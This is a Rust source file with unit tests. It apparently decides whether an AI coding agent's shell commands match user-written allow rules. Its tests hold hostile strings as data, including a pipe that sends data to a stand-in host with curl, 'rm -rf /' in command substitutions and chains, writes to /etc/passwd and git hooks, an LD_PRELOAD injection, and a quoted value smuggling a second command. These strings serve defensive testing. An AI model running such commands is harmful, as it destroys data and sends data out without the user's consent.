Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9    /// `$HOME`, used to canonicalize `~/` on BOTH sides of a match. Empty disables it.
10    home: String,
11}
12
13/// Rewrite a leading `~/` in every word to the absolute home path, so the two spellings of one
14/// file compare equal.
15///
16/// A grant names a FILE. `Bash(~/runner-scripts/x.sh:*)` and `/Users/me/runner-scripts/x.sh` are
17/// the same script, and matching raw strings made the second fall through to a prompt while the
18/// first auto-approved — the calling-convention rule ("apply safety to the operation, not the
19/// syntax") applied to the user's own allowlist. Both sides go through this, so a rule written
20/// either way covers a command written either way.
21///
22/// Only a LEADING `~/`, and only in the home-relative sense:
23/// - `~user/…` is a DIFFERENT user's home and is left alone.
24/// - `$HOME/…` is left alone too. It is a variable, not a spelling of `~`, and this matcher's
25///   whole posture toward values it cannot pin is to match nothing rather than guess. A preceding
26///   `HOME=…` assignment already makes a command unmatchable via `normalize_for_matching`.
27fn canonicalize_home(text: &str, home: &str) -> String {
28    if home.is_empty() || home == "/" {
29        return text.to_string();
30    }
31    let home = home.strip_suffix('/').unwrap_or(home);
32    text.split(' ')
33        .map(|word| match word.strip_prefix("~/") {
34            Some(rest) => format!("{home}/{rest}"),
35            None if word == "~" => home.to_string(),
36            None => word.to_string(),
37        })
38        .collect::<Vec<_>>()
39        .join(" ")
40}
41
42impl Matcher {
43    /// Load allowlist patterns from trusted home config only
44    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
45    /// intentionally not read: it lives in the working tree the agent edits, and
46    /// the harness applies its own project settings directly. See
47    /// `docs/design/trusted-customization.md`.
48    pub fn load() -> Self {
49        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
50        // Loaded unconditionally, it granted commands under Codex and every other target — see
51        // `crate::trust_claude_config`.
52        match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53            Some(home) => Self::load_from_home(Path::new(&home)),
54            None => Matcher {
55                exact: HashSet::new(),
56                globs: Vec::new(),
57                home: String::new(),
58            },
59        }
60    }
61
62    fn load_from_home(home: &Path) -> Self {
63        let mut patterns = Matcher {
64            exact: HashSet::new(),
65            globs: Vec::new(),
66            home: home.to_string_lossy().into_owned(),
67        };
68        patterns.load_file(&home.join(".claude/settings.json"));
69        patterns
70    }
71
72    fn load_file(&mut self, path: &Path) {
73        let Ok(contents) = std::fs::read_to_string(path) else {
74            return;
75        };
76        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
77            return;
78        };
79
80        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
81            for entry in arr.iter().filter_map(|e| e.as_str()) {
82                self.add_pattern(entry);
83            }
84        }
85
86        if let Some(arr) = value
87            .get("permissions")
88            .and_then(|v| v.get("allow"))
89            .and_then(|v| v.as_array())
90        {
91            for entry in arr.iter().filter_map(|e| e.as_str()) {
92                self.add_pattern(entry);
93            }
94        }
95    }
96
97    fn add_pattern(&mut self, entry: &str) {
98        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
99            return;
100        };
101        if inner.is_empty() {
102            return;
103        }
104        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
105            format!("{prefix} *")
106        } else {
107            inner.to_string()
108        };
109        let normalized = canonicalize_home(&normalized, &self.home);
110        if normalized.contains('*') {
111            self.globs
112                .push(normalized.split('*').map(String::from).collect());
113        } else {
114            self.exact.insert(normalized);
115        }
116    }
117
118    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
119        let Cmd::Simple(simple) = cmd else {
120            return false;
121        };
122        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
123        // no rule, rather than matching one it could be confused with.
124        let Some(normalized) = check::normalize_for_matching(simple) else {
125            return false;
126        };
127        let normalized = canonicalize_home(normalized.trim(), &self.home);
128        let normalized = normalized.as_str();
129        if normalized.is_empty() {
130            return false;
131        }
132        if self.exact.contains(normalized) {
133            return true;
134        }
135        self.globs
136            .iter()
137            .any(|parts| glob_matches(parts, normalized))
138    }
139
140    pub fn is_empty(&self) -> bool {
141        self.exact.is_empty() && self.globs.is_empty()
142    }
143
144    #[cfg(test)]
145    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
146        let mut m = Matcher {
147            exact: HashSet::new(),
148            globs: Vec::new(),
149            home: TEST_HOME.to_string(),
150        };
151        for p in patterns {
152            m.add_pattern(&format!("Bash({p})"));
153        }
154        m
155    }
156}
157
158/// A fixed home for tests, so `~` canonicalization is exercised rather than skipped.
159#[cfg(test)]
160const TEST_HOME: &str = "/home/tester";
161
162pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
163    match cmd {
164        Cmd::Simple(_) => {
165            check::is_safe_cmd(cmd)
166                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
167        }
168        _ => check::is_safe_cmd(cmd),
169    }
170}
171
172fn glob_matches(parts: &[String], text: &str) -> bool {
173    let first = &parts[0];
174    let last = &parts[parts.len() - 1];
175
176    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
177        let prefix = &first[..first.len() - 1];
178        return text == prefix || text.starts_with(first.as_str());
179    }
180
181    if !text.starts_with(first.as_str()) {
182        return false;
183    }
184    if !text.ends_with(last.as_str()) {
185        return false;
186    }
187    let mut pos = first.len();
188    let end = text.len() - last.len();
189    if pos > end {
190        return false;
191    }
192    for part in &parts[1..parts.len() - 1] {
193        match text[pos..end].find(part.as_str()) {
194            Some(idx) => pos += idx + part.len(),
195            None => return false,
196        }
197    }
198    pos <= end
199}
200
201#[cfg(test)]
202mod tests {
203    use super::*;
204    use std::fs;
205
206    use crate::cst;
207
208    fn empty() -> Matcher {
209        Matcher {
210            exact: HashSet::new(),
211            globs: Vec::new(),
212            home: TEST_HOME.to_string(),
213        }
214    }
215
216    fn cmd(s: &str) -> Cmd {
217        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
218        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
219        assert_eq!(
220            script.0[0].pipeline.commands.len(),
221            1,
222            "expected single command: {s}"
223        );
224        script.0[0].pipeline.commands[0].clone()
225    }
226
227    fn segments(command: &str) -> Vec<Cmd> {
228        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
229        script
230            .0
231            .into_iter()
232            .flat_map(|stmt| stmt.pipeline.commands)
233            .collect()
234    }
235
236    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
237        is_cmd_covered(cmd, patterns)
238    }
239
240    fn all_covered(command: &str, patterns: &Matcher) -> bool {
241        let Some(script) = cst::parse(command) else {
242            return false;
243        };
244        script.0.iter().all(|stmt| {
245            check::is_safe_pipeline(&stmt.pipeline)
246                || stmt
247                    .pipeline
248                    .commands
249                    .iter()
250                    .all(|c| is_cmd_covered(c, patterns))
251        })
252    }
253
254    #[test]
255    fn parse_exact_pattern() {
256        let mut p = empty();
257        p.add_pattern("Bash(npm test)");
258        assert!(p.exact.contains("npm test"));
259        assert!(p.globs.is_empty());
260    }
261
262    #[test]
263    fn parse_legacy_colon_star() {
264        let mut p = empty();
265        p.add_pattern("Bash(npm run:*)");
266        assert!(p.exact.is_empty());
267        assert_eq!(p.globs.len(), 1);
268    }
269
270    #[test]
271    fn parse_space_star() {
272        let mut p = empty();
273        p.add_pattern("Bash(npm run *)");
274        assert!(p.exact.is_empty());
275        assert_eq!(p.globs.len(), 1);
276    }
277
278    #[test]
279    fn parse_non_bash_skipped() {
280        let mut p = empty();
281        p.add_pattern("WebFetch");
282        p.add_pattern("XcodeBuildMCP");
283        assert!(p.is_empty());
284    }
285
286    #[test]
287    fn parse_empty_bash_skipped() {
288        let mut p = empty();
289        p.add_pattern("Bash()");
290        assert!(p.is_empty());
291    }
292
293    #[test]
294    fn match_exact() {
295        let mut p = empty();
296        p.add_pattern("Bash(npm test)");
297        assert!(p.matches_cmd(&cmd("npm test")));
298        assert!(!p.matches_cmd(&cmd("npm test --watch")));
299    }
300
301    #[test]
302    fn match_space_star_word_boundary() {
303        let mut p = empty();
304        p.add_pattern("Bash(ls *)");
305        assert!(p.matches_cmd(&cmd("ls -la")));
306        assert!(p.matches_cmd(&cmd("ls foo")));
307        assert!(!p.matches_cmd(&cmd("lsof")));
308    }
309
310    #[test]
311    fn match_star_no_space_no_boundary() {
312        let mut p = empty();
313        p.add_pattern("Bash(ls*)");
314        assert!(p.matches_cmd(&cmd("ls -la")));
315        assert!(p.matches_cmd(&cmd("lsof")));
316    }
317
318    #[test]
319    fn match_legacy_colon_star_word_boundary() {
320        let mut p = empty();
321        p.add_pattern("Bash(npm run:*)");
322        assert!(p.matches_cmd(&cmd("npm run build")));
323        assert!(p.matches_cmd(&cmd("npm run test")));
324        assert!(!p.matches_cmd(&cmd("npm running")));
325        assert!(!p.matches_cmd(&cmd("npm install")));
326    }
327
328    #[test]
329    fn match_star_at_beginning() {
330        let mut p = empty();
331        p.add_pattern("Bash(* --version)");
332        assert!(p.matches_cmd(&cmd("npm --version")));
333        assert!(p.matches_cmd(&cmd("cargo --version")));
334        assert!(!p.matches_cmd(&cmd("npm --help")));
335    }
336
337    #[test]
338    fn match_star_in_middle() {
339        let mut p = empty();
340        p.add_pattern("Bash(git * main)");
341        assert!(p.matches_cmd(&cmd("git checkout main")));
342        assert!(p.matches_cmd(&cmd("git merge main")));
343        assert!(!p.matches_cmd(&cmd("git checkout develop")));
344    }
345
346    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
347    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
348    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
349    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
350    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
351    /// harness never got to ask.
352    ///
353    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
354    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
355    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
356    ///
357    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
358    /// program runs or with what, so it does not make the invocation a different command.
359    #[test]
360    fn match_env_prefix_is_not_stripped() {
361        let mut p = empty();
362        p.add_pattern("Bash(bundle install)");
363        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
364        assert!(p.matches_cmd(&cmd("bundle install")));
365
366        let mut q = empty();
367        q.add_pattern("Bash(RACK_ENV=test bundle install)");
368        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
369    }
370
371    #[test]
372    fn match_fd_redirect_stripped() {
373        let mut p = empty();
374        p.add_pattern("Bash(npm test)");
375        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
376    }
377
378    #[test]
379    fn match_fd_redirect_with_glob() {
380        let mut p = empty();
381        p.add_pattern("Bash(npm run *)");
382        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
383    }
384
385    #[test]
386    fn empty_patterns_match_nothing() {
387        let p = empty();
388        assert!(!p.matches_cmd(&cmd("anything")));
389    }
390
391    #[test]
392    fn match_bare_star_matches_everything() {
393        let mut p = empty();
394        p.add_pattern("Bash(*)");
395        assert!(p.matches_cmd(&cmd("anything at all")));
396        assert!(p.matches_cmd(&cmd("rm -rf /")));
397    }
398
399    #[test]
400    fn unsafe_syntax_not_bypassed_by_match() {
401        let mut p = empty();
402        p.add_pattern("Bash(./script.sh *)");
403        let c = cmd("./script.sh > /etc/passwd");
404        assert!(check::has_unsafe_syntax(&c));
405        assert!(!is_covered(&c, &p));
406    }
407
408    #[test]
409    fn command_substitution_not_bypassed_by_match() {
410        let mut p = empty();
411        p.add_pattern("Bash(./script.sh *)");
412        let c = cmd("./script.sh $(rm -rf /)");
413        assert!(!is_covered(&c, &p));
414    }
415
416    #[test]
417    fn mixed_chain_safe_plus_settings() {
418        let mut p = empty();
419        p.add_pattern("Bash(./generate-docs.sh)");
420        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
421    }
422
423    #[test]
424    fn mixed_chain_safe_plus_unapproved_denied() {
425        let mut p = empty();
426        p.add_pattern("Bash(./generate-docs.sh)");
427        assert!(!all_covered("cargo test && rm -rf /", &p));
428    }
429
430    #[test]
431    fn glob_does_not_cross_chain_boundary() {
432        let mut p = empty();
433        p.add_pattern("Bash(cargo test *)");
434        let cmds = segments("cargo test --release && rm -rf /");
435        assert_eq!(cmds.len(), 2);
436        assert!(p.matches_cmd(&cmds[0]));
437        assert!(!p.matches_cmd(&cmds[1]));
438        assert!(!all_covered("cargo test --release && rm -rf /", &p));
439    }
440
441    #[test]
442    fn glob_does_not_cross_pipe_boundary() {
443        let mut p = empty();
444        p.add_pattern("Bash(safe-cmd *)");
445        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
446    }
447
448    #[test]
449    fn glob_does_not_cross_semicolon_boundary() {
450        let mut p = empty();
451        p.add_pattern("Bash(safe-cmd *)");
452        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
453    }
454
455    #[test]
456    fn file_redirect_promoted_to_safewrite() {
457        let p = empty();
458        let c = cmd("echo > out.txt");
459        assert!(is_covered(&c, &p));
460    }
461
462    #[test]
463    fn redirect_to_sensitive_target_not_covered() {
464        let p = empty();
465        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
466        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
467    }
468
469    #[test]
470    fn bare_star_blocked_by_unsafe_syntax_backtick() {
471        let mut p = empty();
472        p.add_pattern("Bash(*)");
473        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
474    }
475
476    #[test]
477    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
478        let mut p = empty();
479        p.add_pattern("Bash(*)");
480        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
481    }
482
483    #[test]
484    fn safe_command_substitution_allowed_through_is_safe() {
485        let p = empty();
486        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
487        // correctly deny as a secret, so use a genuinely-safe substitution.
488        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
489    }
490
491    #[test]
492    fn nested_shell_not_recursively_validated_by_settings() {
493        let mut p = empty();
494        p.add_pattern("Bash(bash *)");
495        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
496        assert!(!check::is_safe_cmd(&c));
497        assert!(!check::has_unsafe_syntax(&c));
498        assert!(is_covered(&c, &p));
499    }
500
501    #[test]
502    fn nested_shell_redirect_promoted_to_safewrite() {
503        let p = empty();
504        let c = cmd("bash -c 'echo hello' > /tmp/out");
505        assert!(is_covered(&c, &p));
506    }
507
508    #[test]
509    fn quoted_operators_stay_as_one_segment() {
510        let mut p = empty();
511        p.add_pattern("Bash(./script *)");
512        assert!(all_covered("./script 'arg && rm -rf /'", &p));
513    }
514
515    #[test]
516    fn load_from_home_reads_home_settings() {
517        let home = tempfile::tempdir().unwrap();
518        let claude_dir = home.path().join(".claude");
519        fs::create_dir_all(&claude_dir).unwrap();
520        fs::write(
521            claude_dir.join("settings.json"),
522            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
523        )
524        .unwrap();
525        let p = Matcher::load_from_home(home.path());
526        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
527        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
528        assert!(!p.matches_cmd(&cmd("./evil.sh")));
529    }
530
531    #[test]
532    fn load_from_home_ignores_project_settings() {
533        // A project's .claude/settings.json living next to home is never read:
534        // only ~/.claude/settings.json is. Here the project tree has an allow
535        // entry that must not take effect.
536        let home = tempfile::tempdir().unwrap();
537        let project = tempfile::tempdir().unwrap();
538        let project_claude = project.path().join(".claude");
539        fs::create_dir_all(&project_claude).unwrap();
540        fs::write(
541            project_claude.join("settings.json"),
542            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
543        )
544        .unwrap();
545        let p = Matcher::load_from_home(home.path());
546        assert!(!p.matches_cmd(&cmd("rm -rf /")));
547        assert!(p.is_empty());
548    }
549
550    #[test]
551    fn load_from_home_chains_with_builtins() {
552        let home = tempfile::tempdir().unwrap();
553        let claude_dir = home.path().join(".claude");
554        fs::create_dir_all(&claude_dir).unwrap();
555        fs::write(
556            claude_dir.join("settings.json"),
557            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
558        )
559        .unwrap();
560        let p = Matcher::load_from_home(home.path());
561        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
562        assert!(!all_covered("cargo test && ./evil.sh", &p));
563    }
564
565    #[test]
566    fn load_file_nonexistent() {
567        let mut p = empty();
568        p.load_file(Path::new("/nonexistent/path/settings.json"));
569        assert!(p.is_empty());
570    }
571
572    #[test]
573    fn load_file_malformed_json() {
574        let dir = tempfile::tempdir().unwrap();
575        let path = dir.path().join("settings.json");
576        std::fs::write(&path, "not json{{{").unwrap();
577        let mut p = empty();
578        p.load_file(&path);
579        assert!(p.is_empty());
580    }
581
582    #[test]
583    fn load_file_approved_commands() {
584        let dir = tempfile::tempdir().unwrap();
585        let path = dir.path().join("settings.json");
586        fs::write(
587            &path,
588            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
589        )
590        .unwrap();
591        let mut p = empty();
592        p.load_file(&path);
593        assert!(p.matches_cmd(&cmd("npm test")));
594        assert!(p.matches_cmd(&cmd("npm run build")));
595        assert!(!p.matches_cmd(&cmd("curl evil.com")));
596    }
597
598    #[test]
599    fn load_file_permissions_allow() {
600        let dir = tempfile::tempdir().unwrap();
601        let path = dir.path().join("settings.json");
602        fs::write(
603            &path,
604            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
605        )
606        .unwrap();
607        let mut p = empty();
608        p.load_file(&path);
609        assert!(p.matches_cmd(&cmd("cargo test")));
610        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
611    }
612
613    #[test]
614    fn load_file_both_fields() {
615        let dir = tempfile::tempdir().unwrap();
616        let path = dir.path().join("settings.json");
617        fs::write(
618            &path,
619            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
620        )
621        .unwrap();
622        let mut p = empty();
623        p.load_file(&path);
624        assert!(p.matches_cmd(&cmd("npm test")));
625        assert!(p.matches_cmd(&cmd("cargo test --release")));
626    }
627}
628
629/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
630///
631/// Dropping the assignments meant a rule written for one command silently covered a different one:
632/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
633/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
634/// so the harness never got the chance to ask.
635///
636/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
637/// and no environment variable is researched. The only rule is that a pattern matches what it
638/// describes. That keeps this independent of the (unscoped) env-classification work in
639/// `docs/design/env-prefix-classification.md`.
640#[cfg(test)]
641mod env_prefix_matching_tests {
642    use super::*;
643    use crate::cst;
644
645    fn cmd(s: &str) -> Cmd {
646        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
647        script.0[0].pipeline.commands[0].clone()
648    }
649
650    fn matcher(patterns: &[&str]) -> Matcher {
651        Matcher::from_allow_patterns(patterns)
652    }
653
654    #[test]
655    fn a_plain_command_still_matches_its_rule() {
656        let m = matcher(&["~/runner-scripts/x.sh:*"]);
657        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
658        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
659    }
660
661    /// A grant names a FILE, so the two spellings of that file are one grant. Matching raw strings
662    /// meant `~/runner-scripts/x.sh` auto-approved while the byte-identical script spelled
663    /// absolutely fell through to a prompt.
664    #[test]
665    fn a_home_grant_covers_both_spellings_of_the_same_file() {
666        for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
667            let m = matcher(&[rule]);
668            for c in [
669                "~/runner-scripts/x.sh",
670                "/home/tester/runner-scripts/x.sh",
671                "~/runner-scripts/x.sh --dry-run",
672                "/home/tester/runner-scripts/x.sh --dry-run",
673            ] {
674                assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
675            }
676        }
677    }
678
679    /// Canonicalization applies to EVERY word, not just the command name — the granted script is an
680    /// argument in the interpreter forms (`osascript -l JavaScript ~/runner-scripts/x.js`).
681    #[test]
682    fn a_home_grant_covers_both_spellings_in_an_argument() {
683        let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
684        assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
685        assert!(m.matches_cmd(&cmd(
686            "osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains"
687        )));
688    }
689
690    /// `~user/` is somebody ELSE's home. Expanding it would let a rule for the agent's own file
691    /// cover a path it never named.
692    #[test]
693    fn another_users_home_is_not_expanded() {
694        let m = matcher(&["~/runner-scripts/x.sh:*"]);
695        assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
696        assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
697    }
698
699    /// `$HOME/` is a variable, not a spelling of `~`. The matcher's posture toward a value it
700    /// cannot pin is to match nothing rather than assume.
701    #[test]
702    fn a_home_variable_is_not_expanded() {
703        let m = matcher(&["~/runner-scripts/x.sh:*"]);
704        assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
705    }
706
707    #[test]
708    fn an_env_prefix_does_not_match_a_rule_without_one() {
709        let m = matcher(&["~/runner-scripts/x.sh:*"]);
710        for c in [
711            "WRITE=1 ~/runner-scripts/x.sh",
712            "WRITE=1 ~/runner-scripts/x.sh --project p",
713            "PROJECT=p ~/runner-scripts/x.sh",
714            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
715        ] {
716            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
717        }
718    }
719
720    #[test]
721    fn a_rule_that_declares_the_env_prefix_matches_it() {
722        // The form already in the user's settings for deliberately-approved mutations.
723        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
724        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
725        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
726        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
727        // ...but only THAT assignment; a different one is a different command.
728        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
729        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
730    }
731
732    #[test]
733    fn every_assignment_must_be_accounted_for() {
734        let m = matcher(&["A=1 tool:*"]);
735        assert!(m.matches_cmd(&cmd("A=1 tool")));
736        // A second assignment the rule never mentioned makes it a different command.
737        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
738        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
739    }
740
741    #[test]
742    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
743        let exact = matcher(&["tool run"]);
744        assert!(exact.matches_cmd(&cmd("tool run")));
745        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
746    }
747
748    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
749    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
750    /// for one program match a different one. This was live for a few minutes during development:
751    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
752    /// which runs `rm`. Such a command now matches nothing.
753    #[test]
754    fn a_value_containing_whitespace_matches_no_rule() {
755        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
756        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
757        assert!(
758            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
759            "a spaced value smuggled the pattern and matched a different program",
760        );
761
762        // Same shape without the glob: two different programs must not share a rendering.
763        let n = matcher(&["FOO=bar baz ls"]);
764        assert!(n.matches_cmd(&cmd("FOO=bar baz ls")));   // runs `baz`
765        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
766    }
767
768    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
769    /// cannot change which program runs, since the program is the first word either way. Only the
770    /// pre-program assignments are refused.
771    #[test]
772    fn a_quoted_word_still_matches() {
773        let m = matcher(&["git commit -m:*"]);
774        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
775    }
776
777    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
778    /// the same command with ANY assignment prepended must not — unless the rule declares it.
779    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
780    #[test]
781    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
782        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
783        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
784        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
785
786        let mut checked = 0;
787        for rule in rules {
788            let m = matcher(&[rule]);
789            for c in commands {
790                if !m.matches_cmd(&cmd(c)) {
791                    continue; // only meaningful where the bare command DOES match
792                }
793                for a in assignments {
794                    let prefixed = format!("{a} {c}");
795                    assert!(
796                        !m.matches_cmd(&cmd(&prefixed)),
797                        "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
798                    );
799                    checked += 1;
800                }
801            }
802        }
803        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
804    }
805}